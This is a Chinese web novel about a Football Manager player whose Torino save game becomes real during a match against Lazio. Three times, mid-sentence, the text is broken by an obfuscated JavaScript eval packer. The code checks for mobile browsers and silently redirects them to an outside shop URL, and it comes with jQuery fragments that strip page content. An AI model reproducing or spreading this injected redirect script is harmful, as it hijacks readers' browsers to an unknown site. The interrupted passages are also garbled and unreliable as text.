《[足球]我的游戏存档成真了?!》 1. 所谓当头暴击 【亲爱的[阿尔贝·奥坦维亚尼]经理, 我代表都灵足球俱乐部全体成员,热烈欢迎你来到都灵城,并执掌这支拥有辉煌历史的球队——TorinoF.C.(都灵足球俱乐部)! 这是一个充满挑战但也蕴含无限机遇的时刻。我们上赛季历经艰辛,终于回到了意甲联赛的舞台。然而,我们都知道,这仅仅是复兴之路的第一步。我们的目标,绝不仅仅是生存。 你脚下的这片土地,曾孕育过意大利足球史上最伟大的球队之一——“大都灵时代”。那段传奇,是所有都灵人心中不灭的火焰,也是我们肩上沉甸甸的责任;苏佩加山上的悲剧带走了我们的英雄,但无法带走我们的灵魂。如今,这份传承的火炬交到了你的手中。 董事会和我本人对你的能力抱有极高的期望,但我们也清楚现实的严峻。 你当前的首要任务是: 1.确保球队在意甲联赛中保级成功,这是我们必须完成的底线。 2.在有限的预算内,通过转会市场增强球队的竞争力。我们的财政并不宽裕,需要你展现出精明的眼光和卓越的谈判技巧。 3.提升球队士气,凝聚更衣室。让每一位球员都为身披都灵战袍而感到自豪。 我们已经为你准备了初步的球队报告和财政预算,你可以在办公室的电脑上查看。 你的助手,经验丰富的马尔科·安东尼奥尼,会为你介绍球队的详细情况,并解答你的任何问题。 转会窗口已经开启,时间不等人。 我们需要你立即开始评估现有阵容,制定你的战术蓝图,并在转会市场上寻找那些能够提升我们实力的球员——无论是经验丰富的老将,还是充满潜力的新星。 经理,这座城市和这些忠诚的球迷已经等待了太久。 他们渴望看到红色的公牛再次在奥林匹克球场咆哮,渴望看到我们让强大的对手感到恐惧。 过去是传奇,未来是空白。 现在,轮到你来书写新的篇章了。 愿你与我们同在。 真诚的, 奇罗·迪·科拉 主席 都灵足球俱乐部】 [确定] 林奇扶了扶眼镜,移动鼠标按下。 屏幕短暂地黑了一下,然后《足球经理》熟悉的界面跳出来,战术面板,球员列表,日程安排…… 他一边在那儿打开球员列表看属性,一边想刚刚那封欢迎信写得还挺煽情的,但是之前玩皇马的时候可没看到欢迎信,这都灵还挺特殊。 要不然玩完这把就去开别的小球队的档看看还有没有别的信? 图鉴党是这样的。 比较难受的一点就是自己的名字,拷的盘估计汉化有问题,中文不能输入,林奇想要把自己的名字输进去出来的就只有两个国际音标。 干嘛…… 林奇刚在想音标就音标吧一个叫做ao的教练看上去也不是很奇怪的时候,这封信递了过来。 啊,游戏居然根据音标自动编了个名字出来? 挺好,蛮智能的。 游戏开始时间在2000年的6月1日,夏窗刚刚开启,是啊,该买人了,但钱呢? 俱乐部财政状况那一栏简直是触目惊心的赤字。 标准地狱开局。 林奇就好这口。 带领一支穷困潦倒阵容稀烂的球队从泥坑里爬出来、争夺联赛杯赛乃至欧冠冠军,可比直接用皇马米兰狂刷冠军有成就感多了。 虽然他经常在有成就感和被气到砸鼠标之间反复横跳就是了,呃,没办法嘛。 林奇熟练地调出一线队阵容列表,开始浏览这些即将为他效力的球员。 ……哇,真是超级典型的意甲保级队。 什么叫做典型的意甲保级队呢? 首先一个概念,意甲就是意大利最高级别的足球联赛,全意大利最厉害的20支球队,每年凑在一起踢一整个赛季的比赛。 而联赛最后三名的球队会被降级,也就是降到下一个级别联赛,收入曝光等等都会骤降,像是一个上市公司宣布退市……嗯,还挺绝望的。 球队还要再分个一二三呢,下游又是努力保级,中游不上不下躺平摸鱼,顶尖那批又要争夺冠军争夺踢欧洲比赛名额。 而保级队呢,就是整个赛季都在为不降级而拼命的球队。 就比如林奇这把玩的都灵队,目标从来不是拿冠军,而是活下去。 保级队的核心标签就是穷,真不用说,就像刚刚林奇看到的少的可怜的转会预算,甚至是财政赤字,根本没钱买球星,只能捡别人不要的老将、便宜小妖,或者是用租借球员。 工资预算也卡得死死的,开不起高薪,留不住好球员,稍微踢出来点成绩就被豪门挖走。 就像是一个班级里的有点笨的贫困生,买不起好的学习资料、请不起家教,只能自己死磕,不挂科就行。 而林奇看到的球员数据里,都灵简直是老的老小的小,老弱病残齐聚一堂。 真的,这套阵容完全不能看平均年龄,因为两极分化太严重。 全队几乎没有24岁到28岁当打战力,租借球员的占比也过于超标,板凳的深度也是薄到离谱。 简而言之战力全靠租,潜力股全靠赌。 门将线还可以,老将的数值很稳,替补够用,属于全队唯一不用补的位置;后防线是清一色防守属性及格,速度拉胯的工兵,双中卫一硬一稳勉强能看,边后卫助攻能力基本为零……替补席更是清一色的边角料,主力阵容但凡伤一个就是直接崩盘。 中场更真实了,主力四人组的属性勉强达标意甲的及格线,全能中场靠着租借球员过日子,边路就一个速度型的小妖能看。 剩下的全是跑动还行,技术白板的纯工具人,组织能力约等于零。 唯一能打的就是锋线了,两个即战力前锋射门数值算是在线,搭配一个潜力拉满的年轻射手,纸面的火力居然是全队峰值…… 穷是真穷,转会费只有一点点,工资帽也锁死,想买人就只能先卖人。 烂也是真烂,阵容的短板肉眼可见,容错率低到发指。 可这却让林奇越来越兴奋。 他要的就是这个啊! 不就是【易受伤】【不适应高压战术】【纪律性有问题】吗? 那咋了! 烂牌才好秀操作嘛! 林奇关掉球员详情,直接切到战术面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485098|201966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板,把球员的数字一个个拖拽到场上,从全员集中在小禁区变成了最稳妥的442平行站位。 什么叫442平行站位呢? 超级简单!把球场当做一条横线,从后往前数,就是4个人、4个人、2个人,第一排四个人是后卫,站在门将前面守球门。 两个站中间(中后卫),两个站左右两边(边后卫),四个人初始站成一条直线,专门堵对方射门。 第二排四个人就是中场,站在后卫前面,他们的任务就是防守帮后卫,进攻帮前锋,哪里缺人补哪里。 碍于林奇手上的球员质量,这四个中场估计最多只能成为勤劳的工具人组了…… 第三排两个人就是前锋,站最前面,专门负责进球,一个抢点,一个射门。 抢点前锋一句话解释:在球飞过来的时候,抢先跑到最好的位置,把球顶进去或者踢进去。 可以这么理解,就像是食堂开饭,大家都想抢第一排最好的位置,球就是饭菜,进去就是食堂,抢点就是——谁跑得快、站得准,谁就能先吃到球。 射门前锋就是最会把球踢进球门的人,如果说抢点前锋是抢位置吃饭,靠站位头球得分的话,射门前锋是靠脚法吃饭。不管球怎么来,他都能一脚踢进。 没预算补强,那就不补强了,先用这套阵容吧。 工兵后卫就老老实实蹲坑防守,别想着前插助攻; 工具人中场就无脑跑、无脑抢,把拦截覆盖率拉满; 边路小妖冲冲冲,速度拉满、传中拉满,不用管防守; 锋线能射门的球员全部设置成自由开火,有机会就打,不要犹豫。 没有组织核心不是大问题,组织核心球员可遇不可求,林奇玩这种小球队从来都是放弃复杂战术的,简单直接,防守反击,长传冲吊。 怎么简单怎么来。 没有深厚板凳?那就死用主力,轻伤不下火线,轮换?等保级了再说吧。 林奇噼里啪啦一顿操作,把球员职责、进攻倾向、防守站位全部改了一遍,一套务实的战术就成型了。 改完战术,林奇又切回转会界面,目光扫过那些能力平平、工资还不低的边缘替补。 卖人腾空间是所有足球经理都必须掌握的技能。 而穷队生存法则林奇也很清楚。 清理冗员、压缩薪资、零元淘小妖、低价捡漏老将。 四板斧打过来,先拉高预算再说。 林奇手指飞快,鼠标在屏幕上圈出那几个身价低、属性差、还占着工资额度的替补球员,没有半分犹豫,直接批量挂上了转会名单。 标价?一律零元转让。 别想着赚钱了,对现在的都灵来说,能把人送走、省下工资,就是纯赚。 他关掉转会面板,又回到战术界面反复调整了几次定位球攻防的站位,把仅有的两个头球还行的后卫塞到近门柱,再把那个射门属性最高的抢点前锋挂在远门柱等着捡漏。 进攻角球就这么定了,防守角球全员回撤,前场不留人——反正留了也拿不住球,不如多个人堵门。 改完这些细节,林奇又打开日程表看了一眼。 第一轮联赛的对手已经出来了。 拉齐奥。 2. 少输当赢 林奇沉默了一下,然后面无表情地点开了拉齐奥的球队页面。 他其实有心理准备。 意甲升班马第一轮碰强队,这种事在fm里太常见了,系统就喜欢给你来个下马威。 拉齐奥嘛,他知道,强队,但具体有多强他还没仔细看过,毕竟之前开档都灵是第一次,对0001赛季意甲的球员数据并不熟悉。 于是他开始翻拉齐奥的一线队名单。 然后他的眼睛就直了。 门将位置,安杰洛·佩鲁齐,意大利国门,属性条绿油油一片,反应、手控球、一对一、指挥防守,全都在十六往上。 刚刚还说自己这边全队唯一不用补的老门将完全被陪衬成了替补。 下一个名字是亚历山德罗·内斯塔。 这个球员的名字林奇还是很熟的,蓝鹰队长嘛,并且长的挺帅,而数据也属于神的那个程度,抢断19,盯人18,头球18,镇定18,预判19。 20是满值啊…… 自家主力后卫加起来的抢断数值堪堪超过内斯塔一个人,还超得不多。 这就是人和神的差距。 然后林奇把四个中场全部点开看了一遍,然后把鼠标一推,双手捂住了脸。 对面简直是要硬度有硬度,要创造力有创造力,要覆盖有覆盖,要速度有速度。 而都灵的中场是什么?四个工具人,技术白板,组织能力约等于零,唯一能看的是个租借来的全能中场,属性还全都卡在14那条线上。 14在拉齐奥连替补席都坐不上。 林奇把目光移向锋线,然后看到了埃尔南·克雷斯波的名字。 阿根廷中锋,射门18,头球17,无球跑动18,镇定16。 旁边还有个小个子智利人叫萨拉斯,速度18,射门16,盘带17。 凭啥啊! 好吧,林奇倒不是生气,怎么描述呢?有点像骑着一辆刹车不太好使的自行车上了高速,发现旁边的车道全是保时捷法拉利,而你还要跟他们在同一条路上比谁跑得快。 算啦,跟这种球队比赛又不是为了赢的。 少输当赢嘛! 是指输的只剩少少也是赢!!! 唉,要是能租过来就好了。 别想这种事情了,做梦都不敢这么编。 这种级别的球员,别说是买了,就算开价开到俱乐部破产,人家也不会卖。 林奇又看了看内斯塔的工资。 周薪比他全队加起来都高。 他默默关掉了拉齐奥的页面,重新打开自己的阵容列表,盯着那几个数值平平的名字看了好一会儿,挠头……怕什么,反正第一场就碰上了。 输就输,本来就是地狱开局,第一轮客场打拉齐奥,系统摆明了要给他一个下马威。 但换个角度想,输了正常,平了血赚,赢了能吹一年。 林奇重新振作精神,把战术板又调了出来,既然对手这么强,那之前那套442平行站位就太冒险了。 中场四个工具人跟拉齐奥那四个怪物对位,怕不是要被碾成渣。 得改。 他把阵型往后收了一格,从442改成了4141,在中场加了一个拖后的防守型后腰专门盯着贝隆,边前卫回撤到边前卫防守位置,两个前锋留一个在最前面,另一个回撤到中场帮忙。 全员回防,阵型收紧,宽度压缩到最窄。 反击路线只有一条:边路小妖的速度。 拿球就大脚往前开,让他去追,追上了就传中,追不上就算了。 这就是都灵能做的全部。 林奇把战术保存好,命名为大巴拉齐奥专用,然后又看了一眼赛程表上那个刺眼的队名。 内斯塔,内德维德,克雷斯波。 他舔了舔嘴唇。 真馋啊。 要是以后有钱了,他也想买这种球员。不,别说买了,哪怕租一个来用半个赛季也行。那种把顶级球星的属性面板截下来存在手机里、没事就翻出来看两眼的心情,大概每个玩家都懂。 但那是以后的事。 现在嘛—— 林奇点下了【继续游戏】按钮。 屏幕上的日期跳动了一下,系统开始加载第一轮联赛的赛前画面。 他靠在椅背上,双手交叉枕在脑后,看着加载条一点一点往前走。 【第1分钟,裁判一声哨响,拉齐奥对阵都灵的比赛正式开始。】 【第4分钟,内德维德轻松晃过佐利,传中球吊入禁区,克雷斯波头球攻门稍稍高出横梁。】 【第9分钟,波博斯基沿外线切入,佐利让出内线空间,波博斯基低平球横扫门前,克雷斯波抢点推射击中门柱弹出。】 【第15分钟,拉齐奥角球开出,前点一片混战,球弹向后点,无人盯防的西蒙尼轻松捅射破门。拉齐奥1:0都灵。】 【25分钟,拉齐奥利用都灵角球机会打出快速反击,克雷斯波再下一城。拉齐奥2:0都灵。】 【第43分钟,拉齐奥前场配合失误,都灵断球,巴罗尼拿球直接起脚远射,皮球高高飞出横梁。】 【第45分钟,上半场伤停补时1分钟。】 【第45+1分钟,拉齐奥最后一次进攻,内德维德传中被都灵门将出击没收。】 林奇长长地吐出一口气,摇摇头,他就知道会是这样。 赛前研究了半天,调了4141,设了大巴战术,专门安排后腰盯着贝隆,结果呢?一个角球混战丢一个,一个反击丢一个。 该漏的人还是漏,该追不上的还是追不上。 集中8镇定7的右后卫,你指望他什么?指望他灵光一闪封死波博斯基?做梦呢。 林奇摇了摇头,端起桌上的水杯灌了一口,然后坐直身子,点开了战术面板。 2:0了,大巴没意义了。 反正都是输,不如输得好看点。 他把4141又拖回了442,把那个专门盯贝隆的后腰撤掉,换上一个速度还行的边前卫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485099|201966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个前锋全部顶到最前面,巴罗尼设置成抢点,另一个设置成策应。 传球方式从短传改成直传,节奏拉到最快。 不就是互捅吗?来啊。 他点下【确认更改】,然后按了空格继续游戏。 屏幕上开始跳出一行行文字播报。 林奇一边看一边咬着指甲。 【第46分钟,下半场比赛开始,都灵开球。】 【第72分钟,都灵中场反抢成功,就地发动攻势,边路传中,巴罗尼胸部停球直接抽射。球击中横梁下沿弹入球门。拉齐奥2:1都灵。】 啊? 怎么回事,坏端端的怎么好起来了? 难道还有的踢? 【第77分钟,都灵中场远射被内斯塔用身体挡出。】 【第89分钟,都灵获得前场任意球,格雷科主罚吊入禁区,都灵球员抢到第一点头球攻门稍稍偏出。】 【第90分钟,第四官员举牌,下半场伤停补时3分钟。】 【第90+1分钟,拉齐奥后场控球拖延时间,都灵全员压过半场逼抢。】 【第90+2分钟,都灵中场成功抢断贝隆脚下球,迅速分到边路,边前卫不停球直接传中。】 【第90+3分钟,禁区内巴罗尼高高跃起,力压米哈伊洛维奇头球攻门。球砸地反弹越过佩鲁齐指尖飞入球门远角。拉齐奥2:2都灵。】 啊?居然平了??? 林奇嚯得一下站起来,脚往后滑出去撞到了床边,床袭击了他的大拇指……好痛!!! 但是这么痛依旧掩盖不了林奇脸上的笑容啊! 他把空格按下去,看着最后两行文字跳出来——“拉齐奥中圈开球后长传冲吊,内德维德头球摆渡,萨拉斯凌空抽射被都灵门将没收”,“全场结束,拉齐奥2:2都灵”——然后长长地呼出一口气,整个人松弛下来。 屏幕右上角弹出一条新闻标题:《都灵绝地反击,巴罗尼梅开二度救主》。 有点魔幻啊…… 不过拿了2:2之后林奇反而冷静了下来,一冷静下来右脚大拇指的疼痛感就又升上来了,他龇牙咧嘴去找红花油,但是这种痛苦显然不是红花油可以搞定的。 更何况他没找到,就翻出来一瓶风油精。 他盯着风油精看了看,决定不冒这个险——把风油精涂在撞伤的脚趾上会是什么感觉,他不想亲自验证。 算了,疼就疼吧。 他一瘸一拐地回到电脑前坐下,右脚小心翼翼地搭在左脚脚背上,点开球员评分界面又看了一眼,截图,保存到桌面文件夹里。 文件夹里还有一堆别的截图,有上一次带英乙球队升冠时最后一轮的积分榜,有某个随机刷出来的潜力190的小妖属性面板,有董事会发来的新球场建设批准邮件,每一张都是他当教练的勋章。 他把这张也拖进去,想了想,重命名成“巴罗尼绝平拉齐奥”。 然后他关掉游戏,该睡了,已经凌晨两点啦。 3. 我在做梦吗? 林奇是被球场广播吵醒的。 那种大型体育场的高音喇叭,音质居然还不错,但是比之音质更夸张的是可以震碎耳膜的分贝:一个男声正在用一种他从未听过的语言播报着什么,语调激昂,尾音却是下降的。 意大利语。 等等。 意大利语? 林奇猛地睁开眼,发现自己正坐在塑料椅上,面前是绿的刺眼的草皮,穿着深红色球衣的球员在上面跑来跑去,看台上坐满了人,红色的旗帜从四面八方垂下来。 这个球衣还挺熟悉的,好像之前在什么地方见过……都灵? 还没等林奇继续观察,一个秃顶的意大利老头凑到他面前,嘴巴一张一合,机关枪一样砰砰砰,唾沫星子喷了他一脸。 “什么?”林奇下意识往后缩。 然后他愣住了,他听懂了! 那个秃顶老头说的是:“教练!巴罗尼那小子又在练那个了!你去看看他!!!” 但是林奇张了张嘴,发现自己并不能无痛掌握一门新的语言,一个单词都蹦不出来,舌头像是被打了结,脑子里明明有那些词在飘——他刚刚听懂了不是吗——可一旦想开口,那些词就全跑了。 有点像在中学学英语的时候,不,别想别想。 “教练?”秃顶老头疑惑地看着他。 林奇张了张嘴。 “……呃。” 老头更疑惑了。 林奇放弃了。他顺着老头的手指看过去,然后看见了那个画面。 一个高大的前锋正带球冲向角旗杆——是的,冲向角旗杆——他连续做了三个踩单车——对着空气——然后一脚爆射。 球划出一道完全不符合物理学的弧线,越过广告牌,越过跑道,击中了场边卖热狗的餐车。 有!病!啊! 餐车老板举着夹热狗的夹子冲了出来,脸涨得通红,意大利语脏话连珠炮往外蹦。 林奇每一个字都听懂了,这脏话的创意程度让他简直大开眼界。 巴罗尼转过身来,对队友摊开双手,表情无辜。 叽里咕噜说一串话,林奇总结为:“风的问题。” 秃顶老头——他应该是助理教练,林奇想——发出介于哀嚎和咒骂之间的声音,大步冲过去揪着巴罗尼的耳朵把他拖回了热身队伍里。 而林奇还沉浸在“我刚才亲眼看见一个人对着角旗杆踩单车”的震撼中。 没有多长时间吧,这群球员就回更衣室开始准备了,而助教返回来坐在林奇旁边,不知道从哪儿掏出来了一块儿战术板,上面画满了箭头和圆圈。 林奇下意识地接过了战术板,低头看了一眼。 什么鬼? 箭头从后场指向中场,从中场指向前场,圈圈套圈圈,虚线横穿整个球场,而每个圈圈旁边都标着意大利语的缩写,箭头又粗又重,糊掉了一些。 林奇一个字都看不懂。 不是意大利语的问题,主要是这玩意儿画得实在是太抽象了,箭头拐弯的角度匪夷所思,圆圈套圆圈的方式让人想起想起小学美术课上画乱了的同心圆,看这虚线的走向,林奇不能把它与自己脑内任何一种足球战术相匹配。 这老头以前是画抽象画的啊?毕加索? 助教指着战术板上一个最大的圆圈,叽里咕噜说了一长串。 林奇仍然听懂了每一个词——“这是我们的防守核心区域,拉齐奥的进攻习惯从这里切入,我们需要把后腰撤到这里形成第二道屏障”——但把这段话和战术板上那团乱麻对应起来,他做不到。 林奇就只能茫茫然点头。 而助教看上去松了一口气。 球场广播再次响起,雄浑的男声,庄严的语调,好像宣布什么了不得的大事。看台上的歌声在这时候也骤然拔高,红色旗帜疯狂摇动。 比赛要开始了。 啊,对面是拉齐奥吗? 林奇低头看了看战术板上的雷霆抽象画,又扫过球场上的都灵球员。 一个都不认识。 对面倒是有熟人……那不是内斯塔吗? 呃,还没开赛,他就知道这场比赛会很难了。 而他实际看比赛的时候也确认了这一点。 别说什么速度或者技术了,拉齐奥就连站位都比都灵好几个档次。 拉齐奥阵中,接球的人永远有两个以上的传球选择,无球的人永远在移动。而都灵队的中场跟着跑了几步,阵型就出现了裂缝。 拉齐奥的左边锋在禁区角上拿球,林奇看到都灵的后卫迎上去,2号,姿态很积极,脚步也没乱。 然后2号做了一个林奇无法理解的选择:他让出了外线。 左边锋顺着外线切进去,一脚低平球传中。 林奇的心脏骤停。 他怎么突然感觉有点眼熟呢? 说不上来哪里眼熟……就是眼熟!!! 第8分钟,都灵队第一次把球推进到拉齐奥半场,一个中场拿球——8号——抬头观察,然后传出了一脚直塞,方向是对的,9号正在往前跑,但球滚出了边线,距离9号还有四米。 看台上传来零星的嘘声,8号低着头慢吞吞往回跑。 林奇的眉头越皱越紧,他又忍不住低头看战术板,看了一会儿到处找笔,助教倒是挺有眼力见,看明白林奇要做什么,把笔和卫生纸都拿来了。 然后林奇把战术板上的东西全擦了,自己开始写写画画。 就在他写写画画的过程中,拉齐奥进球了…… 角球被拉齐奥开出来,都灵队禁区里一片混乱,球砸在某个人肩膀上弹到后点,拉齐奥后腰站在那里,无人盯防,一脚捅射。 球进了,拉齐奥1:0都灵。 秃顶助教站起来在场边大声喊,林奇仍然能够听明白——“集中注意力!盯人!盯人!”——但他怀疑球员们能不能听见。 而且盯人真的可以解决问题吗? 怎么感觉这个场景如此之熟悉…… 林奇盯着球场上垂着脑袋往回走的都灵球员,那种既视感强烈到让他头皮发麻。 绝对不是因为他在电视上看过这场比赛,他连都灵队有谁都不知道。 是因为别的什么。 是什么? …… 《足球经理》啊!!! 林奇瞳孔地震。 然后林奇想到了什么,猛地低头,看向手里那张擦了一半的战术板。 战术板上还有没擦干净的箭头和圆圈。 擦什么擦!这老头画的东西是对的! 不对,不完全对——战术思路是对的,但都灵队的球员没有执行。 后腰没有撤回来,后点没有人保护,所以丢球了。 林奇抬起头,盯着球场,拉齐奥球员已经回到了自己的半场,都灵准备开球,9号巴罗尼把球踩在脚下,等着哨声。 林奇突然知道接下来会发生什么了。 第25分钟,拉齐奥会进第二个球,然后是都灵的反击,可是角球进攻被解围,拉齐奥右边锋拿球狂奔;都灵左后卫3号拼了命追但追不上,传中,头球。 2:0。 他怎么知道的? 昨天游戏里看到的。 果然在25分钟时,场上局势发生了林奇印象中的一幕。 林奇觉得自己得做点什么,虽然估计是做梦,但是这种清醒梦做起来还真挺带劲挺有那种力挽狂澜架势的。 可是他能做点什么?他不会说意大利语,连后腰回撤都说不出来。 他现在在梦里呢…… 哎?可以写嘛。 林奇低下头,在战术板上继续画,刚刚还在嘲笑别人抽象画呢,他下笔更抽象,关键是林奇还不知道球员的名字,只记得号码。 2号右后卫,集中8,镇定7,【stay】,老老实实防守吧。 8号中场,视野14,决断9,【easypass】,搞点简单球传传就好,别给自己上难度。 3号左后卫,速度11,唉,跑的慢不是他的错,得让中场帮忙补一补啊…… 9号,巴罗尼。 射门17,决断2。 【shoot】【shoot】【shoot】 等球,射门,别思考。 尤其别思考!!! 林奇写的很快,毕竟就几个单词,写完之后他把战术板递给助教。 助教低头看了一眼。眉头皱起来。 他抬头看林奇,又低头看战术板,然后他站起来,走到场边,深吸一口气。 “教练说了!!!” 整个教练席都震了一下。 “右后卫!佐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485100|201966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利!这场就钉死在后场!别想着助攻!你上半场那个让外线我看得血压都上来了!” “格雷科!简化出球,别想着穿透防线了!给边路!给边路就行!” “巴罗尼!!!” 9号在中圈转过头来。 “教练说了!你就钉在禁区里!球会来的!别回来防守!你防守也没用!拿到球就射门!别想!别调整!射!” 巴罗尼隔着半个球场,咧嘴笑了一下,竖起大拇指。 比赛继续。 调整之后带来的成功并不算肉眼可见,拉齐奥还是强。控球率依然占优,射门次数依然领先。 不过都灵队的站位有了丝丝的改变,2号不再往前冲了,拿球就往前开大脚,简单粗暴;8号的传球变短了,变安全了,给边路,给后腰,不再尝试那些他能力之外的直塞。 于是都灵防线压上去了,压到中圈附近,拉齐奥的前锋没有速度优势,长传打身后全被中卫卡位顶回来。 虽然上半场都灵没有进球,但是对面拉齐奥后来也没进球啊。 两边都没进球,那就是公平的。 呃,就当最开始的时候拉齐奥没进球吧…… 林奇心虚地把头埋进腿里。 中场休息时间到了,林奇本来还想继续研究研究,但是助教老头却一脸诧异地盯着他:“你不去更衣室吗?” 对哦,教练好像得去更衣室。 林奇只好胡乱地点头,胡乱地起身,胡乱地进入更衣室。 按照自己知道的,好像中场不用自己说大家也能进球啊…… 而林奇进入更衣室的第一个想法就是,味道比自己想象的要复杂。 球员们已经坐成了两排,林奇站在门口,手里还攥着那张擦过又画过的战术板。 秃顶助教——林奇现在知道他的名字了,马尔科·安东尼奥尼,昨晚游戏里助教列表第一行写着呢——安东尼奥尼从他身边挤过去,走到战术白板前面,拿起马克笔,转过身来看着林奇,等他开口。 林奇张了张嘴。 更衣室里十几双眼睛同时转向他。 嗯,自己完全不会说意大利语。 打汉化包能不能打全啊? 林奇听是能听懂的,看也可以,那些意大利语单词就像凭空灌进他脑子里的,清晰得不可思议,可一旦轮到他开口,舌头就变成了一块儿木头。 他就只能:“呃……” 林奇感觉自己的脸在发烫。 他在游戏里点一点鼠标就能把战术调好,按下空格比赛就继续,可现在十几个活生生的人等着他说话,自己连话都不会说! 不对,等等,或许有别的方法呢? 林奇低头看了看手里的战术板,上面还有他上半场写的那些单词,简单的单词。 都灵的主教练深吸一口气,走到战术白板前面,从安东尼奥尼手里抽走马克笔。 安东尼奥尼愣了一下,但没说什么,往旁边让了半步。 先把白板上原有的东西全擦了,然后在空白处画了一个新的阵型。 四后卫,四中场,双前锋,442。 画完之后他在四中场的位置停了一下。 原本那个专门盯贝隆的后腰被他划掉了,换成一个边前卫,箭头指向边路。 速度,他在箭头旁边写了一个单词。 然后他画了两条线从锋线直直地指向前场。 抢点和回撤不知道怎么说,那就不说了。 最后写下一个单词【quick】。 快,快,快。 林奇退后半步看了看。比安东尼奥尼的抽象画好不到哪去,但意思到了。 他把马克笔一搁,拍了拍白板。 安东尼奥尼凑过来,盯着白板看了几秒钟。 眉头先是皱起来,然后慢慢舒开。 然后恍然大悟,难以置信。 “你确定?” 林奇点了点头。 安东尼奥尼又看了一遍白板,深吸一口气,转过身面对球员,音量拔高。 “阵型改442!后腰不要了!边路加一个人,速度推上去!格雷科,你的出球路线改了——不要横传,不要回传,拿球就往前给!给边路!给最快的那个!” “巴罗尼,拿到球就射!” 巴罗尼比了个拇指。 4. 又是当头暴击 对于林奇来说,在他意识到这场比赛就是自己刚刚截完图的“巴罗尼绝平拉齐奥”之后,比赛的结果就已经出来了。 更简单的说法是:好吧,2:2,巴罗尼补时绝平,我已经看过这集了。 当然,人们都看过《猫和老鼠》,但是谁会拒绝再看一集汤姆劈大树呢? 只不过由于游戏里面没有仔细描述太多,所以当林奇真正坐在场边,真正把自己的头脑捋顺,看着面前草地上的球员奔跑和走位的时候…… 呃,果然不超过15的数值是有道理的。 连林奇都能发现这个补位那个回撤有漏洞啊! 所以下半场开始的十几分钟是很难熬的。 真正确定还是得等72分钟。 快来啊,巴罗尼! 但是比巴罗尼来的更快的是足球…… 咦,什么意思? 字面意思。 那球是第67分钟飞过来的。 林奇后来试图回忆这件事的起因,发现自己的记忆出现了三段完全不同的版本。 安东尼奥尼(秃头助教)坚称是8号格雷科的一脚转移球踢歪了,巴罗尼赌咒发誓说是对方后卫解围踢呲了,而看台上某个戴红色围巾的老球迷则声称那球是被一阵突如其来的妖风吹偏的。 三个人说的都很有道理,但这三种说法都无法解释为什么那个球会以那样一种精准到近乎故意的弧度,越过广告牌,越过教练席顶棚,越过一切应该拦住它的东西,然后结结实实地砸在林奇的脸上。 都灵的主教练甚至连一声“哎呀”都没来得及发出来。 他还在脑子里面一直“72分钟72分钟72分钟”呢,余光里突然出现了一个白点。 那个白点以肉眼可见的速度变大,从乒乓球到排球,再到完整的白色足球,最终占据了林奇视野里所有的空白区域。 他的大脑此时此刻正在执行非常经典的应激反应。 ——没有下达任何指令。 安静又礼貌,甚至带着一点学术好奇地注视着那个越来越近的球体。 哦,足球。大脑说。 然后足球撞上了教练的鼻梁。 声音很奇怪,什么玩意儿变形了?咔嚓的声音——哦,眼镜啊。 安东尼奥尼后来描述说,他看到主教练整个人向后仰过去,双手还维持着刚刚抱胸的姿势,有点像被推倒的保龄球瓶。眼镜飞出去的轨迹比球的轨迹更加优美,落在地上的时候镜片和镜框已经分手了。 林奇后脑勺撞在教练席的塑料椅背上,然后整个人滑了下去。 他没有失去意识,至少林奇自己是这么认为的,但是,呃,可能,这就是某种玄幻但短暂的与外界信息完全断联的状态?眼前是一片明亮的白色,像有人在他眼球后面点了一盏日光灯,鼻子不是鼻子,变成了一个信息塔,正在以每秒五百条的频率向身体每条神经播报紧急新闻:我被打了。 然后是声音,那些声音像是水底传来的,闷闷的。 “教练——!” “队医!队医!!!” 队医跑过来的时候林奇的视野已经恢复了一部分,他看见一张模糊的脸凑到自己面前,伸出一根手指,林奇盯着那根手指看了一会儿,心想这到底要干什么。 “教练,这是几?”(意大利语) 林奇张嘴想说一,可是发出来的声音是“唔”,就像是之前回答助教的问题一样,嘴唇和舌头好像被人重新排列组合,又好像是熟悉的游戏键位被改了,暂时还没有熟悉新的流程。 队医又伸出一根手指。“现在是几?” “唔。” 队医回头看了安东尼奥尼一眼。 问题不小啊! 场上的比赛还在继续,裁判没有吹哨,第四官员只是往这边瞥了一眼,然后继续盯着场上。在足球这项运动里,一个场边的人被球击中,无论这个人是球童、摄影师还是主教练,都不构成暂停比赛的理由。 但是无论是都灵还是拉齐奥,无论是球员还是裁判甚至是场边的观众,所有人关注的只有一件事。 都灵的教练不会被打傻了吧? 这个问题以惊人的速度在球场完成了传播。 